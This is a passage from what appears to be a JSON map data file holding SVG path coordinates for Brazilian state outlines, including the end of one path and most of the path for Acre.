60499.00 30770.00C60499.00 30780.67 60499.00 30791.33 60499.00 30802.00C60516.38 30819.36 60533.82 30836.66 60550.80 30854.42C60554.89 30858.72 60559.18 30862.88 60563.14 30867.28C60574.10 30888.52 60585.05 30909.76 60596.00 30931.00C60617.33 30920.33 60638.67 30909.67 60660.00 30899.00C60660.00 30888.33 60660.00 30877.67 60660.00 30867.00C60670.67 30856.00 60681.33 30845.00 60692.00 30834.00C60724.00 30845.00 60756.00 30856.00 60788.00 30867.00C60799.00 30856.00 60810.00 30845.00 60821.00 30834.00C60810.00 30823.33 60799.00 30812.67 60788.00 30802.00C60777.33 30802.00 60766.67 30802.00 60756.00 30802.00C60756.00 30770.00 60756.00 30738.00 60756.00 30706.00C60788.33 30706.00 60820.67 30706.00 60853.00 30706.00C60853.00 30695.33 60853.00 30684.67 60853.00 30674.00C60863.67 30684.67 60874.33 30695.33 60885.00 30706.00C60906.33 30695.33 60927.67 30684.67 60949.00 30674.00C60949.00 30652.33 60949.00 30630.67 60949.00 30609.00C60981.33 30609.00 61013.67 30609.00 61046.00 30609.00C61056.67 30598.33 61067.33 30587.67 61078.00 30577.00C61088.67 30577.00 61099.33 30577.00 61110.00 30577.00C61120.67 30566.33 61131.33 30555.67 61142.00 30545.00C61142.00 30534.33 61142.00 30523.67 61142.00 30513.00C61131.33 30491.67 61120.67 30470.33 61110.00 30449.00C61099.33 30438.33 61088.67 30427.67 61078.00 30417.00C61078.00 30406.00 61078.00 30395.00 61078.00 30384.00C61099.33 30384.00 61120.67 30384.00 61142.00 30384.00C61142.00 30362.67 61142.00 30341.33 61142.00 30320.00C61110.00 30288.00 61078.00 30256.00 61046.00 30224.00C61046.00 30202.33 61046.00 30180.67 61046.00 30159.00C61035.33 30137.67 61024.67 30116.33 61014.00 30095.00C61024.67 30084.33 61035.33 30073.67 61046.00 30063.00C61046.00 30052.33 61046.00 30041.67 61046.00 30031.00C61056.67 30020.33 61067.33 30009.67 61078.00 29999.00C61067.33 29966.67 61056.67 29934.33 61046.00 29902.00C61056.67 29891.33 61067.33 29880.67 61078.00 29870.00C61088.67 29870.00 61099.33 29870.00 61110.00 29870.00C61120.67 29848.67 61131.33 29827.33 61142.00 29806.00C61142.00 29784.33 61142.00 29762.67 61142.00 29741.00C61152.67 29730.33 61163.33 29719.67 61174.00 29709.00C61185.00 29719.67 61196.00 29730.33 61207.00 29741.00C61217.67 29719.67 61228.33 29698.33 61239.00 29677.00C61228.33 29677.00 61217.67 29677.00 61207.00 29677.00C61207.00 29655.67 61207.00 29634.33 61207.00 29613.00C61249.67 29591.33 61292.33 29569.67 61335.00 29548.00C61345.67 29537.33 61356.33 29526.67 61367.00 29516.00C61388.67 29505.33 61410.33 29494.67 61432.00 29484.00C61442.67 29452.00 61453.33 29420.00 61464.00 29388.00C61474.67 29388.00 61485.33 29388.00 61496.00 29388.00C61496.00 29377.00 61496.00 29366.00 61496.00 29355.00C61517.33 29344.33 61538.67 29333.67 61560.00 29323.00C61549.33 29291.00 61538.67 29259.00 61528.00 29227.00C61549.33 29205.67 61570.67 29184.33 61592.00 29163.00C61592.00 29120.00 61592.00 29077.00 61592.00 29034.00C61602.67 29023.33 61613.33 29012.67 61624.00 29002.00C61570.67 28969.67 61517.33 28937.33 61464.00 28905.00C61453.33 28915.67 61442.67 28926.33 61432.00 28937.00C61421.00 28937.00 61410.00 28937.00 61399.00 28937.00C61377.67 28915.67 61356.33 28894.33 61335.00 28873.00C61345.67 28862.33 61356.33 28851.67 61367.00 28841.00C61345.67 28809.00 61324.33 28777.00 61303.00 28745.00C61303.00 28734.00 61303.00 28723.00 61303.00 28712.00C61324.33 28701.33 61345.67 28690.67 61367.00 28680.00C61377.67 28658.67 61388.33 28637.33 61399.00 28616.00C61377.67 28616.00 61356.33 28616.00 61335.00 28616.00C61324.33 28594.67 61313.67 28573.33 61303.00 28552.00C61303.00 28519.67 61303.00 28487.33 61303.00 28455.00C61324.33 28444.33 61345.67 28433.67 61367.00 28423.00C61356.33 28391.00 61345.67 28359.00 61335.00 28327.00C61345.67 28305.33 61356.33 28283.67 61367.00 28262.00C61367.00 28251.33 61367.00 28240.67 61367.00 28230.00C61345.67 28219.33 61324.33 28208.67 61303.00 28198.00C61281.67 28198.00 61260.33 28198.00 61239.00 28198.00C61217.33 28176.67 61195.67 28155.33 61174.00 28134.00C61155.54 28096.43 61137.06 28058.87 61118.24 28021.48C61115.26 28015.76 61112.65 28009.82 61109.44 28004.25C61077.63 27961.50 61045.81 27918.75 61014.00 27876.00C61014.00 27854.67 61014.00 27833.33 61014.00 27812.00C61003.00 27790.67 60992.00 27769.33 60981.00 27748.00C60970.33 27737.33 60959.67 27726.67 60949.00 27716.00C60949.00 27705.00 60949.00 27694.00 60949.00 27683.00C60959.67 27683.00 60970.33 27683.00 60981.00 27683.00C60981.00 27629.67 60981.00 27576.33 60981.00 27523.00C60949.00 27426.33 60917.00 27329.67 60885.00 27233.00C60852.67 27222.33 60820.33 27211.67 60788.00 27201.00C60777.33 27179.67 60766.67 27158.33 60756.00 27137.00C60724.00 27126.33 60692.00 27115.67 60660.00 27105.00C60627.67 27083.33 60595.33 27061.67 60563.00 27040.00C60541.67 27008.00 60520.33 26976.00 60499.00 26944.00C60499.00 26815.33 60499.00 26686.67 60499.00 26558.00C60477.67 26515.33 60456.33 26472.67 60435.00 26430.00C60413.67 26408.33 60392.33 26386.67 60371.00 26365.00C60371.00 26311.33 60371.00 26257.67 60371.00 26204.00C60349.33 26150.67 60327.67 26097.33 60306.00 26044.00C60316.67 25979.67 60327.33 25915.33 60338.00 25851.00C60327.33 25818.67 60316.67 25786.33 60306.00 25754.00C60316.73 25721.91 60327.34 25689.78 60338.14 25657.72C60349.10 25636.48 60360.05 25615.24 60371.00 25594.00C60371.00 25583.00 60371.00 25572.00 60371.00 25561.00C60381.67 25550.33 60392.33 25539.67 60403.00 25529.00C60392.33 25507.56 60381.49 25486.18 60370.92 25464.70C60359.95 25421.80 60348.97 25378.90 60338.00 25336.00C60327.23 25325.15 60316.28 25314.45 60305.63 25303.50C60273.75 25260.67 60241.88 25217.83 60210.00 25175.00C60177.67 25196.67 60145.33 25218.33 60113.00 25240.00C60091.67 25240.00 60070.33 25240.00 60049.00 25240.00C60049.00 25165.00 60049.00 25090.00 60049.00 25015.00C60027.67 24982.67 60006.33 24950.33 59985.00 24918.00C60006.25 24789.65 60027.58 24661.32 60049.00 24533.00C60017.00 24382.67 59985.00 24232.33 59953.00 24082.00C59963.69 24060.56 59974.48 24039.17 59985.10 24017.70C59995.73 23985.80 60006.37 23953.90 60017.00 23922.00C60059.67 23857.67 60102.33 23793.33 60145.00 23729.00C60198.73 23685.92 60252.53 23642.90 60306.22 23599.78C60316.81 23589.19 60327.41 23578.59 60338.00 23568.00C60338.00 23503.67 60338.00 23439.33 60338.00 23375.00C60311.56 23348.73 60285.43 23322.14 60259.30 23295.57C60253.53 23289.71 60247.76 23283.86 60242.00 23278.00C60231.33 23235.33 60220.67 23192.67 60210.00 23150.00C60231.33 23075.00 60252.67 23000.00 60274.00 22925.00C60306.33 22892.67 60338.67 22860.33 60371.00 22828.00C60381.67 22785.33 60392.33 22742.67 60403.00 22700.00C60403.00 22678.33 60403.00 22656.67 60403.00 22635.00C60380.09 22601.07 60357.01 22567.26 60334.21 22533.26C60314.11 22502.74 60293.91 22472.27 60273.86 22441.72C60263.24 22420.48 60252.62 22399.24 60242.00 22378.00C60252.67 22356.67 60263.33 22335.33 60274.00 22314.00C60263.33 22303.33 60252.67 22292.67 60242.00 22282.00C60242.00 22260.33 60242.00 22238.67 60242.00 22217.00C60252.67 22185.00 60263.33 22153.00 60274.00 22121.00C60274.00 22110.33 60274.00 22099.67 60274.00 22089.00C60188.33 22089.00 60102.67 22089.00 60017.00 22089.00C59984.67 22024.67 59952.33 21960.33 59920.00 21896.00C59909.33 21810.33 59898.67 21724.67 59888.00 21639.00C59834.33 21510.33 59780.67 21381.67 59727.00 21253.00C59695.00 21092.33 59663.00 20931.67 59631.00 20771.00C59609.67 20760.00 59588.33 20749.00 59567.00 20738.00C59556.33 20706.00 59545.67 20674.00 59535.00 20642.00C59545.67 20620.67 59556.33 20599.33 59567.00 20578.00C59567.00 20567.00 59567.00 20556.00 59567.00 20545.00C59545.33 20491.67 59523.67 20438.33 59502.00 20385.00C59491.33 20374.33 59480.67 20363.67 59470.00 20353.00C59459.33 20353.00 59448.67 20353.00 59438.00 20353.00C59395.00 20331.33 59352.00 20309.67 59309.00 20288.00C59277.00 20256.00 59245.00 20224.00 59213.00 20192.00C59180.94 20170.25 59148.78 20148.61 59116.78 20126.78C59095.18 20105.52 59073.59 20084.26 59052.00 20063.00C59041.33 20020.33 59030.67 19977.67 59020.00 19935.00C58998.67 19924.00 58977.33 19913.00 58956.00 19902.00C58945.25 19880.59 58934.64 19859.11 58923.81 19837.75C58891.54 19794.83 58859.27 19751.92 58827.00 19709.00C58784.33 19687.67 58741.67 19666.33 58699.00 19645.00C58699.00 19613.00 58699.00 19581.00 58699.00 19549.00C58709.67 19506.00 58720.33 19463.00 58731.00 19420.00C58773.67 19377.00 58816.33 19334.00 58859.00 19291.00C58869.67 19269.67 58880.33 19248.33 58891.00 19227.00C58902.18 19216.23 58913.23 19205.30 58924.50 19194.63C58967.00 19162.75 59009.50 19130.88 59052.00 19099.00C59062.67 19077.33 59073.33 19055.67 59084.00 19034.00C59073.33 18862.67 59062.67 18691.33 59052.00 18520.00C59095.00 18423.33 59138.00 18326.67 59181.00 18230.00C59191.67 18176.67 59202.33 18123.33 59213.00 18070.00C59202.33 18016.33 59191.67 17962.67 59181.00 17909.00C59159.67 17887.67 59138.33 17866.33 59117.00 17845.00C59106.00 17845.00 59095.00 17845.00 59084.00 17845.00C59052.00 17823.33 59020.00 17801.67 58988.00 17780.00C58880.67 17748.00 58773.33 17716.00 58666.00 17684.00C58666.00 17673.33 58666.00 17662.67 58666.00 17652.00C58644.67 17619.67 58623.33 17587.33 58602.00 17555.00C58580.57 17554.97 58559.12 17555.07 58537.69 17554.95C58409.03 17533.60 58280.35 17512.31 58151.70 17490.92C58108.80 17480.28 58065.90 17469.64 58023.00 17459.00C57969.67 17480.33 57916.33 17501.67 57863.00 17523.00C57798.67 17533.67 57734.33 17544.33 57670.00 17555.00C57595.00 17512.33 57520.00 17469.67 57445.00 17427.00C57423.24 17394.61 57401.61 17362.11 57379.78 17329.78C57345.39 17295.31 57310.84 17260.99 57276.54 17226.43C57257.70 17207.29 57238.85 17188.14 57220.00 17169.00C57198.32 17126.23 57176.51 17083.51 57154.90 17040.70C57144.27 17008.47 57133.63 16976.23 57123.00 16944.00C57123.00 16890.33 57123.00 16836.67 57123.00 16783.00C57091.00 16783.00 57059.00 16783.00 57027.00 16783.00C57016.00 16772.33 57005.00 16761.67 56994.00 16751.00C56951.33 16751.00 56908.67 16751.00 56866.00 16751.00C56758.28 16783.48 56650.52 16815.86 56542.81 16848.40C56511.21 16858.93 56479.61 16869.47 56448.00 16880.00C56404.92 16858.60 56361.79 16837.28 56318.74 16815.83C56233.16 16762.22 56147.58 16708.61 56062.00 16655.00C56051.33 16633.67 56040.67 16612.33 56030.00 16591.00C55976.33 16537.33 55922.67 16483.67 55869.00 16430.00C55869.07 16419.24 55868.87 16408.44 55869.10 16397.70C55879.73 16365.47 55890.37 16333.23 55901.00 16301.00C55890.20 16257.94 55879.54 16214.84 55868.64 16171.80C55836.76 16064.87 55804.88 15957.93 55773.00 15851.00C55773.00 15829.67 55773.00 15808.33 55773.00 15787.00C55815.67 15733.33 55858.33 15679.67 55901.00 15626.00C55901.00 15594.00 55901.00 15562.00 55901.00 15530.00C55879.67 15519.00 55858.33 15508.00 55837.00 15497.00C55783.33 15486.33 55729.67 15475.67 55676.00 15465.00C55590.23 15475.70 55504.45 15486.32 55418.69 15497.07C55268.80 15529.38 55118.90 15561.69 54969.00 15594.00C54872.23 15626.01 54775.48 15658.11 54678.69 15690.06C54625.46 15700.71 54572.23 15711.35 54519.00 15722.00C54368.67 15722.00 54218.33 15722.00 54068.00 15722.00C53992.41 15689.78 53916.87 15657.46 53841.26 15625.30C53788.40 15604.19 53735.58 15582.97 53682.70 15561.92C53639.71 15551.23 53596.68 15540.65 53553.71 15529.88C53446.47 15486.92 53339.24 15443.96 53232.00 15401.00C53200.00 15379.67 53168.00 15358.33 53136.00 15337.00C53125.33 15347.67 53114.67 15358.33 53104.00 15369.00C53082.67 15347.67 53061.33 15326.33 53040.00 15305.00C53029.00 15305.00 53018.00 15305.00 53007.00 15305.00C52996.33 15315.67 52985.67 15326.33 52975.00 15337.00C52953.67 15337.00 52932.33 15337.00 52911.00 15337.00C52900.33 15326.33 52889.67 15315.67 52879.00 15305.00C52889.67 15294.00 52900.33 15283.00 52911.00 15272.00C52889.67 15261.33 52868.33 15250.67 52847.00 15240.00C52847.00 15229.33 52847.00 15218.67 52847.00 15208.00C52825.33 15208.00 52803.67 15208.00 52782.00 15208.00C52771.33 15197.33 52760.67 15186.67 52750.00 15176.00C52760.69 15154.56 52771.48 15133.17 52782.10 15111.70C52793.07 15079.47 52804.03 15047.24 52815.00 15015.00C52815.00 14993.67 52815.00 14972.33 52815.00 14951.00C52825.67 14929.33 52836.33 14907.67 52847.00 14886.00C52847.00 14854.00 52847.00 14822.00 52847.00 14790.00C52857.67 14800.67 52868.33 14811.33 52879.00 14822.00C52889.67 14822.00 52900.33 14822.00 52911.00 14822.00C52911.00 14790.00 52911.00 14758.00 52911.00 14726.00C52943.00 14704.33 52975.00 14682.67 53007.00 14661.00C53007.00 14639.67 53007.00 14618.33 53007.00 14597.00C53028.67 14575.67 53050.33 14554.33 53072.00 14533.00C53082.67 14511.67 53093.33 14490.33 53104.00 14469.00C53104.00 14447.33 53104.00 14425.67 53104.00 14404.00C53093.33 14382.67 53082.67 14361.33 53072.00 14340.00C53082.67 14340.00 53093.33 14340.00 53104.00 14340.00C53104.00 14318.67 53104.00 14297.33 53104.00 14276.00C53082.67 14254.33 53061.33 14232.67 53040.00 14211.00C53040.00 14200.33 53040.00 14189.67 53040.00 14179.00C53061.33 14157.67 53082.67 14136.33 53104.00 14115.00C53114.67 14115.00 53125.33 14115.00 53136.00 14115.00C53125.33 14093.33 53114.67 14071.67 53104.00 14050.00C53082.67 14039.33 53061.33 14028.67 53040.00 14018.00C53040.00 13986.00 53040.00 13954.00 53040.00 13922.00C53050.67 13911.33 53061.33 13900.67 53072.00 13890.00C53072.00 13879.33 53072.00 13868.67 53072.00 13858.00C53050.33 13858.00 53028.67 13858.00 53007.00 13858.00C53007.00 13836.33 53007.00 13814.67 53007.00 13793.00C52996.33 13771.67 52985.67 13750.33 52975.00 13729.00C52975.00 13718.33 52975.00 13707.67 52975.00 13697.00C52985.67 13686.33 52996.33 13675.67 53007.00 13665.00C52996.23 13654.30 52985.58 13643.44 52974.73 13632.84C52921.49 13600.56 52868.24 13568.28 52815.00 13536.00C52802.60 13511.76 52789.88 13487.67 52777.69 13463.32C52757.80 13423.21 52737.90 13383.11 52718.00 13343.00C52718.00 13246.67 52718.00 13150.33 52718.00 13054.00C52664.33 13032.33 52610.67 13010.67 52557.00 12989.00C52546.19 12967.51 52535.57 12945.91 52524.65 12924.48C52503.44 12892.65 52482.22 12860.83 52461.00 12829.00C52450.33 12796.67 52439.67 12764.33 52429.00 12732.00C52375.33 12678.33 52321.67 12624.67 52268.00 12571.00C52246.67 12528.33 52225.33 12485.67 52204.00 12443.00C52139.60 12389.25 52075.15 12335.56 52010.78 12281.78C51978.52 12249.85 51946.26 12217.93 51914.00 12186.00C51929.55 12154.54 51944.80 12122.94 51960.86 12091.74C51977.59 12058.72 51994.44 12025.75 52011.10 11992.70C52021.73 11960.47 52032.37 11928.23 52043.00 11896.00C52043.00 11778.33 52043.00 11660.67 52043.00 11543.00C52000.00 11425.00 51957.00 11307.00 51914.00 11189.00C51924.67 11081.67 51935.33 10974.33 51946.00 10867.00C51914.00 10845.67 51882.00 10824.33 51850.00 10803.00C51839.33 10781.67 51828.67 10760.33 51818.00 10739.00C51828.67 10706.67 51839.33 10674.33 51850.00 10642.00C51925.00 10567.00 52000.00 10492.00 52075.00 10417.00C52096.33 10385.00 52117.67 10353.00 52139.00 10321.00C52149.67 10331.67 52160.33 10342.33 52171.00 10353.00z"},"br-01":{"name":"Acre","path":"M6610.00 62120.00C6706.76 62173.36 6803.49 62226.79 6900.26 62280.12C7554.19 62569.91 8208.13 62859.67 8862.04 63149.48C9590.45 63481.36 10318.86 63813.22 11047.26 64145.13C11325.84 64284.42 11604.42 64423.71 11883.00 64563.00C11936.67 64584.67 11990.33 64606.33 12044.00 64628.00C12783.67 64778.00 13523.33 64928.00 14263.00 65078.00C14284.43 65088.68 14305.82 65099.47 14327.27 65110.09C14563.48 65185.27 14799.71 65260.41 15035.91 65335.63C15067.60 65346.09 15099.30 65356.54 15131.00 65367.00C15163.00 65367.00 15195.00 65367.00 15227.00 65367.00C15881.19 65527.71 16535.37 65688.44 17189.56 65849.13C17288.03 65871.30 17386.53 65893.38 17484.99 65915.61C17901.03 66011.50 18317.08 66107.35 18733.12 66203.27C19215.17 66321.20 19697.22 66439.15 20179.28 66557.06C20757.95 66674.73 21336.62 66792.37 21915.28 66910.07C22087.04 66953.08 22258.79 66996.14 22430.56 67039.12C22580.37 67071.41 22730.19 67103.71 22880.00 67136.00C22997.75 67211.04 23115.48 67286.13 23233.25 67361.14C23492.76 67501.67 23752.31 67642.15 24011.80 67782.71C24599.37 68102.90 25186.94 68423.07 25774.50 68743.28C26095.84 68925.61 26417.15 69107.97 26738.51 69290.27C26925.33 69388.95 27112.12 69487.70 27298.96 69586.35C27701.81 69798.31 28104.65 70010.31 28507.51 70222.26C28807.42 70372.22 29107.35 70522.15 29407.25 70672.14C29728.83 70854.43 30050.42 71036.71 30372.00 71219.00C30425.42 71240.38 30478.86 71261.71 30532.26 71283.13C30575.44 71304.85 30618.57 71326.69 30661.79 71348.35C30931.14 71466.25 31200.48 71584.19 31469.89 71701.96C32058.29 71959.29 32646.71 72216.59 33235.10 72473.93C33620.93 72645.18 34006.74 72816.46 34392.58 72987.68C35356.56 73405.53 36320.54 73823.39 37284.53 74241.22C37541.69 74348.48 37798.84 74455.74 38056.00 74563.00C38099.00 74595.00 38142.00 74627.00 38185.00 74659.00C38238.33 74670.00 38291.67 74681.00 38345.00 74692.00C38409.51 74724.06 38473.99 74756.21 38538.53 74788.22C38945.95 74959.94 39353.38 75131.61 39760.79 75303.35C40049.86 75431.57 40338.93 75559.78 40628.00 75688.00C40617.33 75699.00 40606.67 75710.00 40596.00 75721.00C40596.00 75742.33 40596.00 75763.67 40596.00 75785.00C40585.33 75785.00 40574.67 75785.00 40564.00 75785.00C40574.67 75806.33 40585.33 75827.67 40596.00 75849.00C40585.33 75849.00 40574.67 75849.00 40564.00 75849.00C40564.00 75859.67 40564.00 75870.33 40564.00 75881.00C40574.67 75881.00 40585.33 75881.00 40596.00 75881.00C40596.00 75891.67 40596.00 75902.33 40596.00 75913.00C40585.33 75913.00 40574.67 75913.00 40564.00 75913.00C40553.33 75934.67 40542.67 75956.33 40532.00 75978.00C40515.19 75961.18 40498.27 75944.45 40481.83 75927.26C40477.22 75922.51 40472.61 75917.75 40468.00 75913.00C40468.00 75924.00 40468.00 75935.00 40468.00 75946.00C40468.00 75935.00 40468.00 75924.00 40468.00 75913.00C40446.33 75924.00 40424.67 75935.00 40403.00 75946.00C40413.67 75956.67 40424.33 75967.33 40435.00 75978.00C40424.33 75999.33 40413.67 76020.67 40403.00 76042.00C40392.33 76031.33 40381.67 76020.67 40371.00 76010.00C40371.00 76031.33 40371.00 76052.67 40371.00 76074.00C40339.00 76074.00 40307.00 76074.00 40275.00 76074.00C40242.67 76084.67 40210.33 76095.33 40178.00 76106.00C40167.33 76116.67 40156.67 76127.33 40146.00 76138.00C40124.67 76138.00 40103.33 76138.00 40082.00 76138.00C40082.00 76149.00 40082.00 76160.00 40082.00 76171.00C40071.33 76181.67 40060.67 76192.33 40050.00 76203.00C40039.00 76203.00 40028.00 76203.00 40017.00 76203.00C40006.33 76213.67 39995.67 76224.33 39985.00 76235.00C39974.33 76235.00 39963.67 76235.00 39953.00 76235.00C39953.00 76245.67 39953.00 76256.33 39953.00 76267.00C39942.33 76267.00 39931.67 76267.00 39921.00 76267.00C39921.00 76288.33 39921.00 76309.67 39921.00 76331.00C39910.33 76320.33 39899.67 76309.67 39889.00 76299.00C39867.67 76309.67 39846.33 76320.33 39825.00 76331.00C39825.00 76342.00 39825.00 76353.00 39825.00 76364.00C39803.33 76374.67 39781.67 76385.33 39760.00 76396.00C39760.00 76417.33 39760.00 76438.67 39760.00 76460.00C39738.67 76460.00 39717.33 76460.00 39696.00 76460.00C39685.33 76481.33 39674.67 76502.67 39664.00 76524.00C39642.67 76524.00 39621.33 76524.00 39600.00 76524.00C39600.00 76556.33 39600.00 76588.67 39600.00 76621.00C39578.33 76631.67 39556.67 76642.33 39535.00 76653.00C39535.00 76642.33 39535.00 76631.67 39535.00 76621.00C39492.33 76621.00 39449.67 76621.00 39407.00 76621.00C39417.67 76642.33 39428.33 76663.67 39439.00 76685.00C39439.00 76695.67 39439.00 76706.33 39439.00 76717.00C39428.33 76706.33 39417.67 76695.67 39407.00 76685.00C39396.00 76706.33 39385.00 76727.67 39374.00 76749.00C39374.00 76738.33 39374.00 76727.67 39374.00 76717.00C39374.00 76738.67 39374.00 76760.33 39374.00 76782.00C39363.33 76771.00 39352.67 76760.00 39342.00 76749.00C39331.33 76760.00 39320.67 76771.00 39310.00 76782.00C39310.00 76803.33 39310.00 76824.67 39310.00 76846.00C39288.67 76846.00 39267.33 76846.00 39246.00 76846.00C39246.00 76856.67 39246.00 76867.33 39246.00 76878.00C39246.00 76867.33 39246.00 76856.67 39246.00 76846.00C39235.33 76856.67 39224.67 76867.33 39214.00 76878.00C39224.67 76888.67 39235.33 76899.33 39246.00 76910.00C39246.00 76920.67 39246.00 76931.33 39246.00 76942.00C39224.33 76931.33 39202.67 76920.67 39181.00 76910.00C39170.33 76920.67 39159.67 76931.33 39149.00 76942.00C39149.00 76952.67 39149.00 76963.33 39149.00 76974.00C39138.33 76974.00 39127.67 76974.00 39117.00 76974.00C39106.33 76985.00 39095.67 76996.00 39085.00 77007.00C39074.33 77049.67 39063.67 77092.33 39053.00 77135.00C39042.33 77145.67 39031.67 77156.33 39021.00 77167.00C39021.00 77145.67 39021.00 77124.33 39021.00 77103.00C39010.33 77124.33 38999.67 77145.67 38989.00 77167.00C38978.00 77167.00 38967.00 77167.00 38956.00 77167.00C38956.00 77156.33 38956.00 77145.67 38956.00 77135.00C38945.33 77145.67 38934.67 77156.33 38924.00 77167.00C38934.67 77167.00 38945.33 77167.00 38956.00 77167.00C38945.33 77167.00 38934.67 77167.00 38924.00 77167.00C38902.67 77188.67 38881.33 77210.33 38860.00 77232.00C38860.00 77221.33 38860.00 77210.67 38860.00 77200.00C38860.00 77221.33 38860.00 77242.67 38860.00 77264.00C38849.33 77274.67 38838.67 77285.33 38828.00 77296.00C38849.33 77296.00 38870.67 77296.00 38892.00 77296.00C38870.67 77317.33 38849.33 77338.67 38828.00 77360.00C38828.00 77349.33 38828.00 77338.67 38828.00 77328.00C38817.33 77338.67 38806.67 77349.33 38796.00 77360.00C38796.00 77381.67 38796.00 77403.33 38796.00 77425.00C38785.33 77435.67 38774.67 77446.33 38764.00 77457.00C38764.00 77467.67 38764.00 77478.33 38764.00 77489.00C38753.00 77478.33 38742.00 77467.67 38731.00 77457.00C38731.00 77467.67 38731.00 77478.33 38731.00 77489.00C38720.33 77489.00 38709.67 77489.00 38699.00 77489.00C38688.33 77499.67 38677.67 77510.33 38667.00 77521.00C38656.33 77510.33 38645.67 77499.67 38635.00 77489.00C38635.00 77499.67 38635.00 77510.33 38635.00 77521.00C38624.33 77521.00 38613.67 77521.00 38603.00 77521.00C38592.33 77531.67 38581.67 77542.33 38571.00 77553.00C38581.67 77553.00 38592.33 77553.00 38603.00 77553.00C38560.00 77574.67 38517.00 77596.33 38474.00 77618.00C38463.33 77628.67 38452.67 77639.33 38442.00 77650.00C38431.33 77650.00 38420.67 77650.00 38410.00 77650.00C38410.00 77639.33 38410.00 77628.67 38410.00 77618.00C38388.33 77618.00 38366.67 77618.00 38345.00 77618.00C38323.67 77628.67 38302.33 77639.33 38281.00 77650.00C38259.67 77650.00 38238.33 77650.00 38217.00 77650.00C38206.33 77660.67 38195.67 77671.33 38185.00 77682.00C38185.00 77703.33 38185.00 77724.67 38185.00 77746.00C38195.67 77756.67 38206.33 77767.33 38217.00 77778.00C38206.33 77778.00 38195.67 77778.00 38185.00 77778.00C38174.33 77788.67 38163.67 77799.33 38153.00 77810.00C38142.00 77810.00 38131.00 77810.00 38120.00 77810.00C38098.67 77821.00 38077.33 77832.00 38056.00 77843.00C38045.33 77853.67 38034.67 77864.33 38024.00 77875.00C38002.67 77875.00 37981.33 77875.00 37960.00 77875.00C37938.33 77853.33 37916.67 77831.67 37895.00 77810.00C37863.00 77810.00 37831.00 77810.00 37799.00 77810.00C37788.33 77799.33 37777.67 77788.67 37767.00 77778.00C37745.33 77778.00 37723.67 77778.00 37702.00 77778.00C37691.33 77788.67 37680.67 77799.33 37670.00 77810.00C37638.00 77821.00 37606.00 77832.00 37574.00 77843.00C37563.33 77832.00 37552.67 77821.00 37542.00 77810.00C37520.33 77799.33 37498.67 77788.67 37477.00 77778.00C37466.33 77788.67 37455.67 77799.33 37445.00 77810.00C37434.33 77799.33 37423.67 77788.67 37413.00 77778.00C37413.00 77788.67 37413.00 77799.33 37413.00 77810.00C37391.67 77799.33 37370.33 77788.67 37349.00 77778.00C37327.33 77799.67 37305.67 77821.33 37284.00 77843.00C37305.67 77864.33 37327.33 77885.67 37349.00 77907.00C37338.33 77928.33 37327.67 77949.67 37317.00 77971.00C37327.67 77992.67 37338.33 78014.33 37349.00 78036.00C37349.00 78046.67 37349.00 78057.33 37349.00 78068.00C37338.33 78068.00 37327.67 78068.00 37317.00 78068.00C37306.00 78078.67 37295.00 78089.33 37284.00 78100.00C37262.67 78089.33 37241.33 78078.67 37220.00 78068.00C37198.67 78068.00 37177.33 78068.00 37156.00 78068.00C37156.00 78089.33 37156.00 78110.67 37156.00 78132.00C37134.67 78110.67 37113.33 78089.33 37092.00 78068.00C37070.33 78078.67 37048.67 78089.33 37027.00 78100.00C37005.67 78089.33 36984.33 78078.67 36963.00 78068.00C36952.33 78057.33 36941.67 78046.67 36931.00 78036.00C36920.33 78036.00 36909.67 78036.00 36899.00 78036.00C36877.33 78068.00 36855.67 78100.00 36834.00 78132.00C36845.00 78153.33 36856.00 78174.67 36867.00 78196.00C36867.00 78239.00 36867.00 78282.00 36867.00 78325.00C36845.33 78325.00 36823.67 78325.00 36802.00 78325.00C36791.33 78335.67 36780.67 78346.33 36770.00 78357.00C36770.00 78378.33 36770.00 78399.67 36770.00 78421.00C36759.33 78432.00 36748.67 78443.00 36738.00 78454.00C36695.00 78464.67 36652.00 78475.33 36609.00 78486.00C36598.33 78496.67 36587.67 78507.33 36577.00 78518.00C36555.67 78528.67 36534.33 78539.33 36513.00 78550.00C36491.33 78539.33 36469.67 78528.67 36448.00 78518.00C36426.67 78528.67 36405.33 78539.33 36384.00 78550.00C36384.00 78571.33 36384.00 78592.67 36384.00 78614.00C36341.33 78614.00 36298.67 78614.00 36256.00 78614.00C36234.24 78624.69 36212.51 78635.46 36190.73 78646.09C36158.82 78657.06 36126.91 78668.03 36095.00 78679.00C36084.30 78689.76 36073.46 78700.41 36062.85 78711.24C36030.57 78764.50 35998.28 78817.75 35966.00 78871.00C35955.33 78903.33 35944.67 78935.67 35934.00 78968.00C35902.00 79000.00 35870.00 79032.00 35838.00 79064.00C35827.00 79085.67 35816.00 79107.33 35805.00 79129.00C35773.00 79161.00 35741.00 79193.00 35709.00 79225.00C35676.67 79203.67 35644.33 79182.33 35612.00 79161.00C35569.33 79343.00 35526.67 79525.00 35484.00 79707.00C35473.33 79696.33 35462.67 79685.67 35452.00 79675.00C35441.33 79685.67 35430.67 79696.33 35420.00 79707.00C35409.00 79696.33 35398.00 79685.67 35387.00 79675.00C35387.00 79685.67 35387.00 79696.33 35387.00 79707.00C35376.33 79707.00 35365.67 79707.00 35355.00 79707.00C35355.00 79696.33 35355.00 79685.67 35355.00 79675.00C35344.33 79685.67 35333.67 79696.33 35323.00 79707.00C35323.00 79696.33 35323.00 79685.67 35323.00 79675.00C35312.33 79653.67 35301.67 79632.33 35291.00 79611.00C35280.33 79611.00 35269.67 79611.00 35259.00 79611.00C35248.33 79600.33 35237.67 79589.67 35227.00 79579.00C35205.33 79579.00 35183.67 79579.00 35162.00 79579.00C35162.00 79568.33 35162.00 79557.67 35162.00 79547.00C35140.67 79547.00 35119.33 79547.00 35098.00 79547.00C35098.00 79536.33 35098.00 79525.67 35098.00 79515.00C35087.33 79525.67 35076.67 79536.33 35066.00 79547.00C35066.00 79525.33 35066.00 79503.67 35066.00 79482.00C35044.67 79482.00 35023.33 79482.00 35002.00 79482.00C35002.00 79471.33 35002.00 79460.67 35002.00 79450.00C34991.00 79460.67 34980.00 79471.33 34969.00 79482.00C34969.00 79471.33 34969.00 79460.67 34969.00 79450.00C34958.33 79439.33 34947.67 79428.67 34937.00 79418.00C34915.67 79407.33 34894.33 79396.67 34873.00 79386.00C34862.33 79396.67 34851.67 79407.33 34841.00 79418.00C34830.33 79407.33 34819.67 79396.67 34809.00 79386.00C34798.00 79386.00 34787.00 79386.00 34776.00 79386.00C34765.33 79375.33 34754.67 79364.67 34744.00 79354.00C34701.33 79354.00 34658.67 79354.00 34616.00 79354.00C34605.33 79364.67 34594.67 79375.33 